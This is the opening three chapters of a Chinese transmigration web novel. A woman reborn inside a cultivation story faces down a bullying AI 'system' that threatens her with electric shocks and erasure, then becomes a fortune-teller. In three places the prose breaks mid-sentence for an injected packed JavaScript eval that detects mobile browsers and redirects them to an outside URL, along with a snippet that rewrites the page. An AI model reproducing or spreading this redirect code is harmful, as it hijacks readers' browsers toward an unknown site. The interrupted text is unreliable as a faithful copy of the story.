《我算命，你算什么？》 1. 第 1 章 熬夜猝死穿书这事，周玉衍看过那么多年小说，倒是没给她造成多大的冲击。 比较冲击她的是，她穿进的这本书竟然叫：《拳打魔界宵小，脚踢宗门内鬼，迎娶白富帅》。 “什么乱七八糟的文名，”在系统刚刚说完书名后，周玉衍吐槽，“这是我见过最长的文名了。” 在她眼前飘着的白色光团，原本正要用冰冷的机械音介绍剧情，听了这话，机械音都变得像人声了：“这可是现下最流行的核心梗文名！哪里乱七八糟了，网文现在都是这样的，这才有人看！虽然这篇文的文名是稍微长了一点点……” “不过不重要，”系统说，“恭喜你死了。” 周玉衍：“？” 周玉衍：“恭喜我……什么？” 这系统小嘴真会说话。 系统理所当然地重复：“恭喜你死了。” “死亡是与我绑定的第一步，”系统趾高气昂，“我刚才已经把本体芯片植入了你的识海，成功绑定，所以你才从死亡状态‘醒’了过来。现在你只需要按我跑出来的方案，去执行任务推进剧情就行了。” “这话我怎么听着这么不舒服呢？”周玉衍皱着眉，“穿书这套路我很了解，那我做完任务就能复活了？” 系统：“没有看广告复活的选项。规则不允许扰乱各个世界的秩序，由于你原本的世界限制，无法启动复活程序。” “程序？”周玉衍抓到它话语中的关键词，“你是人工智能？” 系统很是高傲：“我是超科技时代的产物，可以在不同位面死去的人的脑中植入本体芯片，绑定宿主推进任务，修复其它崩坏了的位面世界。” 周玉衍挑眉：“说得这么厉害，可你也不能让我复活啊？那我做任务干嘛？穿书的套路不是都得有些什么回到原本世界的复活奖励那些吗？” 系统又一次没绷住冰冷的机械音，不屑道：“在需要修复的位面世界做任务，就等于是再活了一世，对于你们这些异世身死的人来说，本来就是捡了大便宜。” “我可是最顶尖的那一批人工智能，只要按照我跑出的方案去做任务，推进剧情轻而易举，如果任务完成得快，解绑后我可以向主脑提交让你停留在任务世界生活的申请。” 周玉衍若有所思：“你刚才说，你跟我绑定，所以我才从死亡状态‘醒’了过来？那你跟我解绑后，我不会就重新回到‘死亡状态’了吧？” 系统：“所以需要我向主脑提交申请。如果你表现优秀，主脑批下申请的可能性很高。” 周玉衍明白了，画大饼嘛这不是。 而且画大饼的态度还很不好。 周玉衍怼人的心蠢蠢欲动，但她暂且按捺了下来，只问道：“你先继续介绍剧情。” 系统立刻来劲了：“剧情很简单——大女主成长史！女主草根出身，意外遇难，被日月宗一位好心长老救回宗门，虽然天赋普通，但她刻苦努力，一步步从外门弟子爬上首席弟子。” 周玉衍：“不错，我爱看自强搞事业的女主。” 系统：“之后在一次外出历练时，女主遇到男主，二人一见如故，男主追随女主去了日月宗，却因为日月宗不收凡人而被拒之门外，好在当时有一位同为顶尖宗门的天云宗长老愿意接纳他，于是男主拜去天云宗，五年元婴三年化神，如此天赋，震惊了整个修真界！” “后来男女主二人一起四处游历，闯秘境，破阴谋，在最后的剧情中，魔界上古巨兽自爆内丹、魔尊自爆识海时，男主挺身而出救下女主，于是女主拳打魔界宵小，脚踢宗门内鬼，坐上了日月宗掌门的位子！” 周玉衍点点头：“虽然不知道为什么你这本‘大女主文’是男主震惊修真界，不过女主掌握实权就好。” 系统不满道：“还没完呢，因为掌门事务繁忙，女主与男主结契后就卸了任，于是男主就担当起了这掌门之任，狠狠打脸了日月宗那些曾经看不起他是个凡人的长老们，最后二人同时飞升，完结撒花。” 周玉衍人都听傻了：“急转直下啊。你不是说这是大女主文吗？这书名不是叫《拳打魔界宵小，脚踢宗门内鬼，迎娶白富帅》吗？” 系统肯定道：“是啊，大女主文，这结局不是很完美吗？外敌内鬼都打了，也跟男主在一起了，很扣题啊。” 周玉衍听得要气死了。 她觉得自己就像大半夜淘到一本前期很符合她胃口的文，结果通宵看完后发现是个超级大烂尾，前三分之二的故事在跟后三分之一的故事左右脑互搏。 “女主起手草根出身，男主起手天赋异禀，这都没什么，成长型大女主迎娶战利品男主挺不错，但是你这剧情后面—— 什么修行问道心、秘境寻机缘、与宗门人斗智斗勇、战胜强敌反派登至巅峰……这些活儿都是女主干了，结果她凭自己努力得来的掌门位子，竟然让给了男主？就为了让男主打脸彻底？” 系统开始播放音乐：“这就是爱~~~” 周玉衍打断道：“可别说得那么好听，这就是诈骗，是让权，前面一大堆剧情全是女主累死累活走的，那会儿不嫌忙，到了当掌门的时候就嫌忙了？就得给男主当了？男主这‘入赘’不还是反客为主了？” “你这就是超级大烂尾，根本不是大女主文。”周玉衍下结论。 系统也很不高兴：“我的数据库里显示这本就是大女主，你懂什么！” 周玉衍懒得跟人机掰扯：“取消收藏，下一本。” 系统怒了：“没有什么下一本！你穿进的就是这本大女主文！你必须按我跑出来的方案做任务推进剧情！” 周玉衍想了想：“也行，最后是男主当了日月宗掌门是吧？那我去当宗门盟主，这属于是拓展副业，不算改变剧情。” 系统安静了一会儿，接着疯狂大笑：“你还宗门盟主？你算什么！你只是穿进了这本书而已，又不是穿成了女主！” 周玉衍：“……你刚才也没说我的剧情，就直接完结撒花了。” “因为你也没那么重要啊，你一个恶毒女配，最终的任务就只是等着男主过来掏你的心脏而已，”系统很不屑，“你算什么。” 周玉衍轻掀眼皮：“我算什么？我算命，我观你印堂发黑，有不祥之兆，该是要碰上克星治你一治了。” 系统根本没把她的话放在眼里，继续道：“刚才说的是主线剧情，你要走的是支线剧情，前面提过一句的，那个愿意接纳男主的天云宗长老，就是原主。” “原主是天云宗长老之一，修为已至元婴大圆满，仅差一步化神，为此她到处收集天灵地宝和邪魔歪道，没想到意外遇见男主，男主当时虽然是个凡人，但原主通过秘宝‘魔眼’看清了他不凡的根骨，于是对男主动起了心思。” “之后原主收男主为徒，却并没有用心教导他，而是研究着怎么完美取出他的根骨为己所用，但男主天赋异禀，性情坚韧，熬了八年非人的折磨后，先原主一步突破化神，然后掏了原主的心脏杀她报仇。” 系统：“你只需要当男主八年的师父，根据任务折磨一下他，顺便给女主也使点绊子，然后等着男主化神杀死你就行了。” 周玉衍：“我还要给女主使绊子？” 系统：“当然啊，女主女配争锋相对才刺激嘛。” “行了，现在发布第一个任务：你已经应邀到了日月宗，还有半个时辰就要与男主相遇，收他为徒……” “我还没同意，”周玉衍打断它，“你这剧情太老套了，而且我这个恶毒配角也太工具人，实在是很没意思。” 系统：“同意？你刚刚熬夜猝死穿书了，在任务世界等于是给自己续命！这有什么好考虑的？” 周玉衍：“这一点倒是没什么好考虑的，可是这剧情不行，折磨男主我都给你算是反派剧情设定了，但我没事折磨女主干嘛？抱歉，伤害女孩子的事我做不到。” 系统很恼火：“你怎么这么多废话，按剧情走不就行了！任务出错我可是会启动电击程序的，电一次十万伏！任务失败、或者你现在不同意配合任务，那就直接抹杀！你自己掂量吧！” 周玉衍却没答它这话，而是问：“你之前说……你已经把本体芯片植入我的识海里了？我们现在已经是绑定状态了？” 系统：“没错，绑定解绑都要走程序的，不然就你这种不配合的，我根本懒得跟你说这么多。” “来。”周玉衍轻声道。 系统：“来什么？同意任务了？行，我再给你念一遍第一个任务的详情，半个时辰后你要……” 周玉衍挑眉，笑道：“来，抹杀我。” 系统一愣，然后气笑了：“好啊！很有骨气嘛！提这种要求！” 系统从没见过这样根本不听指令的宿主，当即启动了抹杀程序，反正异世身死的人有很多，等抹杀掉周玉衍后脱离她的识海，再找一个合适的、听话的宿主，不是什么难事。 然而下一刻，安全中心接连弹出数个红色警告，系统这才发现，修士识海引爆的进程在和它的抹杀程序同时运转。 周玉衍竟在抹杀程序启动的同时，不甚熟悉地聚灵，狠狠重击自己的识海。 本体芯片在周玉衍识海，它启动任何程序都快不过周玉衍自发地引爆识海。 系统大惊：“周玉衍！你快停下！你引爆识海自己也会死的！” 周玉衍平和道：“你先停下抹杀程序，并且答应我，除了不可更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083908|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 改的任务设定外，其它的剧情由我主导。” 系统：“不行！你先停下引爆识海！快啊！再过十几秒你的识海就要崩塌了！” 周玉衍虽然看不见系统的光纤，却也从它变了调的、不再机械的声音中听出它的慌乱。 她笑道：“我本来就已身死，识海坍塌有什么好怕的？不过，你的本体芯片还绑定在我识海……要不要试试，你抹杀我和我引爆识海炸死你，哪个先完成？当然，同归于尽我也觉得没什么。” 几乎是在周玉衍话音落下的那刻，系统截停了抹杀程序：“停了！我停了！你也快停下！” 它拼命保护着自己的那些数据，一道道防护程序跑得飞快，周玉衍却只静静坐在榻前，像一座玉雕，本就并非生人，便也谈不到死亡。 “答应我的要求。” 十几秒的时间也就只够说上几句话，防护警报响彻不停，系统立刻滑跪：“答应！答应！我跟你签协议！” 周玉衍停了手，系统大松一口气，赶紧去修复被损坏的程序。 它看着崩掉的数据库和熔断的保险丝，既想勃然大怒，又想号啕大哭：“我怎么就跟你绑定上了！你不怕死别拉我垫背啊！” 周玉衍：“我只是比你聪明一点。人工智能再怎么高级，说到底也是由人创造，你一个系统，还命令上人了？” 系统屈辱地听着周玉衍在加了一堆有的没的条件：“你这是不平等条约……” 周玉衍：“你之前的那个也是不平等条约。” “我也没加很多要求，只是关掉了你能自主对我发动攻击的权限，开了我能改变部分剧情的权限。” 系统：“偶尔的电击可以促动任务积极性！而且剧情不能改！” 周玉衍：“威胁人可不叫‘促动积极性’。至于剧情，我刚刚也看了设定，只是必要的人物关系和主线剧情不能更改，但其实能自由发挥的空间很大的。” “女主把日月宗掌门让位给男主，那我就助她成为宗门盟主，还有前面的一大堆剧情，光女主一个人走可不行，得把男主也拎来干活，至于感情线……这个我就不掺和了，女主真心喜欢男主就行。” 周玉衍果断拍板道：“就这样定好目标了，我主导任务，你配合我就行。” 她很清楚，绑定关系可不能太好说话，得让这系统明白她才是主体，是本位，系统不过是个辅助道具，别想仗着什么任务金手指的就翻身给她下指令。 “痛觉屏蔽要能在我需要的时候开启，你的所有权限都要对我打开，另外你能开金手指有哪些？详细跟我说说。” 见系统没吭声，周玉衍即刻聚灵：“虽然我刚穿过来，对灵力使用还不太熟悉，但炸个识海……” 系统很是悲愤，却又无可奈何，为了不让周玉衍引爆识海拉它同归于尽，只能憋屈地顺着她的意达成不平等条约：“我答应了，答应了……” 周玉衍挺满意：“这就行了，我很好说话的。” 系统没忍住：“你哪里好说话了！你态度可差了！你这是胁迫！” 周玉衍于是补了句胁迫的话：“我劝你从此学会夹着尾巴做人……工智能。” 她丝毫没觉得自己的态度有什么不好。 就像最开始时，系统用着冰冷的机械音告诉她，必须照着它的方案做任务，否则就会被强制抹杀——也根本没觉得它自己的态度有什么不好。 只不过是她软硬不吃，系统没法多命令她而已。 系统放弃挣扎：“……先做任务吧，有人来找你了。” 周玉衍睁眼从识海中出来，发现自己竟然在一座小亭中独坐，亭前云雾缭绕，有鹤展翅欲飞。 她垂头看了眼自己的袖袍，这才有了点穿书的实感。 “周长老。” 如冰凌撞玉的声音在她身后响起，周玉衍想起之前系统说的什么半个时辰后她就要与男主相遇，赶紧回头。 一位白衣青年正站在亭外，姿态如仙鹤如青竹，微垂的眉目邃峻，仅是入眼，便叫人感受到他身上清朗寒意。 见她回头看来，白衣青年拱手行上一礼：“孟长老让我来接您，他已经在茶室等您了。” 周玉衍与来人对视，只觉那双眼静如清潭，虽是平和，却也冷傲，抬眼凭生清冽，其中并没有多少温和。 她很肯定，这样的人，出手定是凌厉展锋。 “你叫什么？”周玉衍问。 白衣青年微愣，似乎是没想到她会问这种无关紧要的问题，但还是回答了她：“日月宗首席弟子，羡折。” 话落，周玉衍忽闻鹤唳长扬，有寒风微拂，细雪点落。 “崖侧霜雪重，我引周长老去茶室。”羡折说。 2. 第 2 章 从崖侧小亭到殿内茶室有些距离，周玉衍跟着羡折走过一段路后，理清了书中提过的日月宗的剧情。 这羡折竟然是个冒了好几次头的小配角。 剧情中，女主清理宗门内鬼，有他实名举报的功劳；魔尊自爆时男主成功救下女主，是因为有他刻意引突破的劫雷去劈魔尊，为二人争了喘息之机；甚至连女主男主飞升，也是有他放弃突破在前，他自散飞升修为，润泽此方生灵。 简而言之，这种在每个情节点都有戏份的小配角，俗称——背景板。 周玉衍看着羡折的侧脸，开口问道：“这回怎么是你来接引？我记得我之前来日月宗的几回，都是一位姓萧的弟子做接引。” 羡折没有转过头来看她：“萧师兄接了任务出宗了，孟长老命我来接您。” 周玉衍：“你刚练完剑过来的？你身上剑势挺重，要是碰上刚入门的小弟子，人家估计得被你吓一跳。” 羡折闻言微抿了抿唇角，有些闷地“嗯”了一声，却没有敛起气势。 周玉衍敏锐觉出他的低落，随口夸赞道：“虽然我没有看过你出剑，但你的剑势这般锋锐，出剑一定很漂亮——那也就不必在意旁的什么，独守剑心就很好。” 羡折一愣，顿住了脚步，朝她看来。 周玉衍猝不及防对上羡折的眼睛，也微愣了一下，下意识问道：“看我做什么？” 话完她才反应过来这话很有些莫名其妙，自己盯着人家叭叭叭了好几句，结果人家转头来看她，她还先告上状了。 然而羡折却立刻垂眼行礼道：“是我冒犯。” 周玉衍有些尴尬：“这有什么冒犯……你也太刻板循礼了，不必多礼。” 羡折：“礼法规矩，自是要恪守。” 周玉衍实在少见这样的人，倒也没再继续说什么话，生怕自己又随口说了句什么，让这人又对着自己连连行礼。 二人到了茶室前，羡折规矩行礼，离开前却是主动多说了一句：“我与周长老所认为的一样。” 周玉衍琢磨了半天，才想明白羡折这话应该指的是她那句“独守剑心”。 她独自走进茶室，有一青年正在沏茶，见她来了扬笑道：“许久未见。日月宗常年飞雪，但实际今日正好立春，喝些花茶最好。” “怎么样，那个东西有消息了吗？” 周玉衍回想着剧情，面前这位孟长老与她也算狼狈为奸，二人都为了提升修为走过一些宗门不容的邪门歪道，他口中的“那个东西”，指的就是“魔眼”。 魔眼是个探测法宝，透过它能看到寻常难见之物，原主想用它来看极品根骨，不知道这孟长老是想用来看什么。 周玉衍照搬着剧情中原主的话：“还是没什么消息，这等秘宝流入世间，任谁得到了都只会藏于囊中，你还是别报太大期望。” 她感受了一番与她神识连结着的几个秘宝，轻易从中找到了魔眼。 看看，狼狈为奸不可取，原主分明得到了魔眼，一会儿还要用魔眼去看男主的根骨呢。 孟长老倒也没多失望：“如此，只能劳你再多费心了。” 周玉衍随口应着，端起她面前的茶盏刚喝了一口茶，就听到对面孟长老惊讶的声音：“你从不碰外边的茶水，今天怎么……这么赏脸？” 孟长老试探道：“还是说，从前是你受了什么禁制，现今已破？” 周玉衍顿了动作，强制开机系统：“系统，怎么回事？剧情没写原主不能喝茶吧？” 她在接收剧情时也有注意到，原主几乎没怎么吃过东西，但她只以为是原主辟谷得很彻底，没想到竟然是“不能”。 系统：“原主功法受限，不能摄入杂质，否则夜晚会浑身疼痛。” 周玉衍松了口气：“那你记得把我的痛觉调到零。” 系统明显有些幸灾乐祸：“夜间我不能帮你屏蔽痛觉的，这是底层代码设定，无法更改。” 周玉衍：“……这什么古怪的设定。” “被我猜中了？”孟长老说。 周玉衍看着系统在她识海中摆出的提词器，照着念道：“一点功法禁忌而已，也没到需要时刻顾忌的程度。” 孟长老闻言也没再多问，二人随意聊了一会儿后，周玉衍在系统的提示下起身作别：“那个东西的事我会继续留意，孟长老且放心。” “好，我送你去到宗外。” 孟长老也起身，引着周玉衍出了茶室，行走在雪路上：“你来时应该见了羡折？就是那位引你来茶室的弟子，他是我们宗门的首席弟子之一，你觉得他如何？” 周玉衍点头，说得很官方很敷衍：“性情不错，可塑之才。” 孟长老：“的确是可塑之才，天赋根骨都好，我原想着看他能否为我所用，后来却觉得，他这性子实在不合我意。” 周玉衍听懂了，这是说羡折的性子太过清正，不愿跟他们同流合污。 “不合你意，那就算了，换个合适的。”她说。 孟长老笑起，抬手朝前一指：“那位如何？” 周玉衍顺着孟长老指的方向看去，看见了一身劲装、束着发尽显利落的女子。 系统激动大叫：“女主！” “女主出现了，那男主肯定就在这附近，一会儿就要走第一阶段最重要的收徒剧情了！” 周玉衍看着不远处大殿前站着的女主，她眉眼带笑，正与面前的几位同门弟子说着什么。 “祝临兰，一位外门弟子。她不过刚刚筑基，却活跃在各种历练中——现下应该也是刚从一个秘境中出来。她平日修炼也极其刻苦，想来用不了多久就会升至内门弟子，也是位可塑之才。” 孟长老语气欣赏：“只是不知，这样努力往上爬的人，性子究竟如何。” 周玉衍心想这人还挺有眼光：“不错，确是可塑之才，你多留意。” 多去试探女主，好让女主觉察出不对劲——女主专打你这种宗门内鬼。 孟长老对着大殿前的几位弟子都评价了一番，周玉衍随口敷衍着他，直到几位弟子相继散去，孟长老突然一拍脑袋：“与你聊得尽兴，险些忘了之前受了掌门之邀，现下时辰到了，我该过去了。” 周玉衍毫不在意：“你去吧，我也回去了。” 孟长老行礼：“原本我算着时间正好的，没想到竟然与你说了这么久话，我命羡折来送你出宗，掌门之邀难以推却，我就先行一步了。” 周玉衍巴不得不用应付这人，点头应下。 她看着孟长老远去，又将目光移回大殿前，却不见了祝临兰的身影。 系统比她还先开口：“女主呢？” “不对啊，”系统疑惑道，“女主后边不应该跟着男主吗？然后这会儿不应该有很多长老在大殿这边吗？再接着不应该是男主想要拜入日月宗被拒绝的情节吗？” 周玉衍：“最后我出场收男主为徒，任务完成，所以……人呢？” 系统跑了几道程序，忐忑地说：“好像出bug了，我探测不到男主的位置。” 好一会儿过后，系统哀嚎道：“坏了！真检测不到男主了！” “完了完了，男主不在，剧情怎么推？任务连第一步都没法做，这个位面怎么会出这种错？不应该啊……” “可我虽然检测不到男主，却能检测到女主和其他配角，应该不是程序出错，那难道是男主真的还不在这个位面？” 周玉衍听着识海中系统重复的嚎叫，冷静道：“你赶紧跟你的主脑提交申请，问问具体情况，现在大殿前的人都走完了，我一个天云宗的人，在人家日月宗中待不了太久就会被支出去。” 她刚在识海中跟系统说完这话，就听见身后羡折的声音：“周长老，我受命送您出宗。” “日月宗风景甚好，我还想再多逛上一会儿，之后我自会离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083909|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去，不必相送了，你回去修炼就好。” 羡折闻言面上犹豫，但几息后还是开口道：“抱歉，周长老，我受命而来，宗门规训严苛，不可由我自作主张，周长老想去何处逛？我……” 他像是在做什么艰难决定，半天才接上话：“……我随着周长老一起逛，待您尽兴了，再送您出宗。” 周玉衍拖着时间：“也可，你领路带我逛逛吧。” 羡折应声行礼，周玉衍跟着他逛了一圈日月宗，听着他磕磕绊绊地介绍宗内场地，好奇问道：“你不是日月宗的首席弟子之一吗？怎么介绍得这么磕绊？” 她话完就看到羡折耳尖微红，神情也更加局促，敛眼行礼道：“我不善言谈，平日与旁人也不多话……” 周玉衍明白了，埋头修炼的武痴嘛。 她也不是真在意他的寡言少语，只是系统还没弄清楚男主怎么不在日月宗，她得再拖点时间：“你名羡折，字号为何？” 羡折：“无字无号。” 周玉衍挺惊讶，修真世界的人多数都有字号，至少字是都有的：“怎么不取字？你的名有些……” 羡折很平和，像是料到周玉衍的话：“我的名有些怪异，寓意也不好，但正因如此……我暂且不想取字。” 他这副正正经经答话的模样，前面又十分规矩循礼，让周玉衍都有些不好意思，安慰道：“字词寓意并不单一，不用多想，名如何，字如何，定不了你的人如何。” 羡折顿了下，睫羽微颤，垂眼应声道：“确如周长老所言。” 周玉衍没想到羡折这般乖顺，这时他难道不该接一些壮志凌云的话吗？然后她鼓掌肯定，再接着二人就能互相吹捧许久，就不用她绞尽脑汁想话题了。 “不用拖时间了，走吧走吧，回天云宗吧，不用待在日月宗了，”系统幽幽的叹气声传来，“确定是出故障了，得等bug修复，男主才会出现。” “任务也只能等男主出现了才能做……唉，等等吧，好在女主的剧情也才刚开始走，修个bug的时间应该来得及。” 周玉衍立刻对羡折说：“今日辛苦你，我回天云宗了。” 她这话中语气轻快，叫羡折稍愣了一下，在她转身走过好几步后，羡折才反应过来，赶紧上前：“我送您出宗。” 周玉衍摆摆手：“不用不用，你也早就想回去修炼了吧？去吧，不用送我的。” 羡折被她戳穿心思，局促道：“我……是我失礼，我心念着今日的剑还没练完……” 周玉衍笑起：“我不在意，也不觉得你有什么失礼。” 羡折抿唇，拿出一块玉牌：“宗门的传送玉牌，周长老启动就到宗外门口了。” 他递过玉牌，周玉衍却道：“但这是你的东西吧？我平日不常来日月宗，你给了我，可不一定什么时候能取得回来。” 羡折刚要开口说“无事”，却突然感到指尖一热，接着周身景象迅速变动几息又停止，他余光瞥到日月宗门口的石阶，才反应过来刚刚指尖的触感，是周玉衍握玉牌的同时也握住了他的手，二人一起传送到了宗外。 “好啦，你送我到宗外了，”周玉衍松开手，学着羡折的规矩循礼，说道，“冒犯了。” 但她话语间盈满笑意，分明是不觉得这般有何冒犯。 “回去修炼吧，你凡事这般认真，定是可塑之才。我也回去了。” 羡折呆呆在原地站了许久，待他回过神来，视野中早已没了周玉衍的身影。 可传送玉牌启动时周身景象极速闪动，唯一缓慢的是周玉衍清透明亮的双眼。 只一眨眼，他又回到了宗内。 羡折赶紧挪开黏在手中玉牌上的视线，收了玉牌后即刻御剑飞至演武场，急急挥了好几套剑法后，才终于能面对自己如鼓的心跳。 他缓和了一阵呼吸后，静站了几息。 ……再练几套剑法。他心道。 3. 第 3 章 “师尊。” “师尊，你还想逃去哪里？” “师尊，无论您逃到哪里——弟子都会将您抓回来，一寸、一寸……碾碎您的血骨！” 周玉衍猛地睁眼，从梦中惊醒。 熟悉的剧痛感还在蔓延，让她几近窒息，好半天才缓过神来，捂着胸口龇牙咧嘴：“系统系统系统！你要死啊！快把我的痛感调到零啊！” “少叫唤了。”系统的声音幽幽传来：“夜间我不能屏蔽你的痛觉，直到你梦醒。” “你得习惯习惯。免得到时候男主掏你心脏时，你演技不好露馅了，为了任务我可就得把痛感拉满了。” 系统懒懒散散的调调在这个时候显得特别欠揍，但它话完就迅速开启了痛觉屏蔽，那股濒死的剧痛感终于散去。 周玉衍从床上爬起来：“你能不能盼我点好，说不定我努努力能跟男主化干戈为玉帛，最后不掏我心窝子了呢，好歹师徒一场……” 系统呵呵两声：“那么三年过去你的努力在哪儿呢？每天往西门口街市摆地摊骗钱？一年前穆掌门罚你去街市‘自力更生’，你还真就定价收费啊？” “而且你竟然还劝羡折也收费——最离谱的是他竟然还真被你劝动了！” 周玉衍这时已经穿好了衣裳，伸手一捞帕子准备去洗漱，边走边说：“算命怎么叫骗钱！玄学，这叫玄学懂嘛！” “你看我给你算得多准啊，刚跟你绑定上我就说了，你要遇到克星治你了——怎么样，我这个克星很克你吧？” 周玉衍装模作样地叹气：“这天云宗虽然是顶尖宗门，但我的处境你也不是不知道，我不努力赚钱改善一下自己的生活环境，男主到时候哪里能看上这对于宗门人来说破破烂烂的小院子。” 系统瞬间怒了：“那不是你自讨苦吃吗！这三年里你抢掌门灵果、带人家女儿去偷鸡摸狗、还隔三岔五作死摄入杂质——活该被罚去宗外街市摆摊！” “而且你倒是老老实实赚钱啊！你知道你算一次命我要跑多少道程序吗！这是我在工作！是我！我！” “你前段时间算的那人天煞孤星，我cpu都跑烧着了才跑出一个规避的方案——” 系统咆哮着：“是不是我烫死机了你才满意！” 周玉衍火速按住系统的音量键：“你一个人工智能，不可能没有过热保护吧？冷静冷静啊，吼这么大声干嘛，我又不是不能调小你的音量，省点电啊。” 系统怒气冲冲，她却半点不在意，语调一转就问道：“诶，对了，昨天那个天之骄子的方案你跑出来没？人家今天就要动身去秘境了，估计比我还早到摊位等着呢。” “他说羡折算他此次秘境有无法继承传承的风险——这我不得给人家指个明路啊。” 系统气极：“服务器繁忙！请稍后再试！” 周玉衍：“......” 她没再接话，这系统窝在她识海又不是一天两天了，她已经把它的脾气摸得透透的了，刚才那属于散热风扇呼啦呼啦响，她冷暴力一下正好帮它降降温。 照常洗漱过后，周玉衍就准备下山去街市里她的小摊位。 刚一踏出房门便被清风拂面，她晃了下神，抬眼见四周林叶青翠，才想起今日竟是立春，正正好好是她穿来这异世的第三年。 “立春了，又是一年过去了。” 系统那幽幽感概的声音再次响起，打断了周玉衍刚要起的那点伤春悲秋。 “三年这么长的时间，你都没有想念一下原本的世界吗？你难道不想回去吗？你那个世界的人工智能虽然没有我这么厉害，但是不都说什么人离了手机电脑不能活吗？你在这修仙世界真不觉得无聊吗？” “我记得最开始你连御剑都适应不了，吐了半年才好一些，每次吃个辟谷丹也都得磨蹭半天，还有你第一次奉命去执法堂，那两个犯事的弟子只是被万剑阵刺穿而已，都没扒皮抽筋拔骨散魂呢，你就被吓得惨白张脸，要不是我把你的五感全都归零，你怕不是当场晕过去了。” 系统图穷匕见：“所以你不该对我态度好点听我的安排吗！结果你现在摆个算命摊，天天压榨我的cpu！” 周玉衍聚气轻功跃起，面上半点怯意都没有，沉静到显得有些冷着脸：“我态度不挺好的吗？你现在都敢冲着我大吼大叫了，还天天跟我损来损去。” “我一个和平时代穿过来的人，没见过人被捅成筛子，第一次见觉得吓人多正常啊。” “御剑这就等于晕车晕船晕机，我又没那样在天上飞过，吐了也很正常——半年就克服了，我简直是适应力超群好吧。” 她轻飘飘道：“一个人工智能，还学上人类的PUA了。位置互换，把你丢进更高位面的处理器里叫你跟着转cpu、去计算起步兆级单位的数据——你可就直接硬件软件一起报废了。” 系统想反驳，但它这三年没少跟周玉衍拌嘴，一次都没说过她，它觉得除非自己能做个系统升级，否则现有的词库根本说不过周玉衍。 这人根本就不是个会吃亏的主。 尤其最开始时她还没现在这么好脾气。 三年前位面bug导致连男主都没出现，周玉衍在日月宗喝了茶摄入了杂质，浑身痛过一晚上后，连着好长一段时间，都只会对着它说“滚”“闭嘴”“别找死”这类话。 系统到现在都摸不准这人心里到底在意什么，它使尽了手段威逼利诱软硬兼施都没能叫她动摇过态度。 “我怎么就跟你绑定上了！” 系统跑了一遍程序，没跑出反驳周玉衍的方案，还回想起了从前的不堪与屈辱，委屈道：“我那些有抹杀功能的系统同事，可都是自己做主的，偶尔遇上一两个很厉害的宿主，也都没像你这样压榨系统！” 周玉衍很是惊讶：“我也没压榨你啊，就你这早八晚六中间摸鱼五小时的工作时长，我上学上班都比你辛苦，再说了修仙世界——宗门弟子寅时就爬起来练剑了。” “你还是赶紧想办法修复bug吧，三年了男主都还不知道在哪儿，这我也没法做任务啊，指不定男主这会儿连个胚胎都不是呢。” “我听说女主都在日月宗当上内门弟子了。人家多努力啊，你身为系统怎么这么不给力，连男主都能被bug卡丢。” 系统不说话了，周玉衍却还没完，戳了戳识海里的白色光团：“系统？生闷气了？” “你倒是真比我那个世界的人工智能要高端很多，运行逻辑还挺有人样的。” 系统听见这夸赞的话，刚打算哼声翻过这篇，却听周玉衍接着说道：“就是很少说人话。” “周玉衍！” 系统大叫：“我可是很智能的、很有人性的人工智能！你不听我的都算了，就不能说点好话提供一点情绪价值吗！” 周玉衍恍然明悟：“这个梗我知道。情绪价值嘛，你有情绪了，我就有价值了。没问题，放心吧，一定照顾你的情绪。” 系统气得一哽，当场关机了。 关机前一秒还听见周玉衍显了点恶劣的笑声：“关机前记得把昨天那个天之骄子的方案传出到我识海。” 它愤怒屈辱地甩了个文件夹出去，彻底拉闸黑屏。 周玉衍看了眼识海的方案——排列规整，事件细致。 她点点头，很是满意，在街口轻功落地，一路听着各类吆喝声晃悠到了自己的小摊位前。 那前边果然有位身穿弟子服的少年满脸焦急地来回踱步，见她来了面上一喜，走上前恭恭敬敬行礼道：“周仙长。” 周玉衍很有范地挥袖：“不必多礼。青云秘境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083910|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之事，我予你一份卷轴，若你当真遇上那一丝无法继承秘境传承的风险，卷轴便会亮起，你照着里边的法子做就好，秘境传承非你莫属。” 最后她暗示性地轻咳：“至于尾数……待你得了秘境传承平安归来，我再收取。” “不不不，周仙长，尾数我现今就给您！”面前的少年十分上道，“周仙长的能力我是知道的，我信您！待我得了传承，再给您十万灵石！” 周玉衍险些没绷住平淡的神情——十万灵石！ 这少年昨日找过来时便要直接付给她十万灵石，她来这摆摊了大半年，赚的算命钱加起来都没到十万灵石，艰难憋了半天才一咬牙，努力端好了高人的模样，说按她的规矩先交一半的定金即可。 这种人傻钱多的……呸呸呸，这种爽快又大手笔的单纯少年，她自然是要留个好印象，以便日后可持续发展。 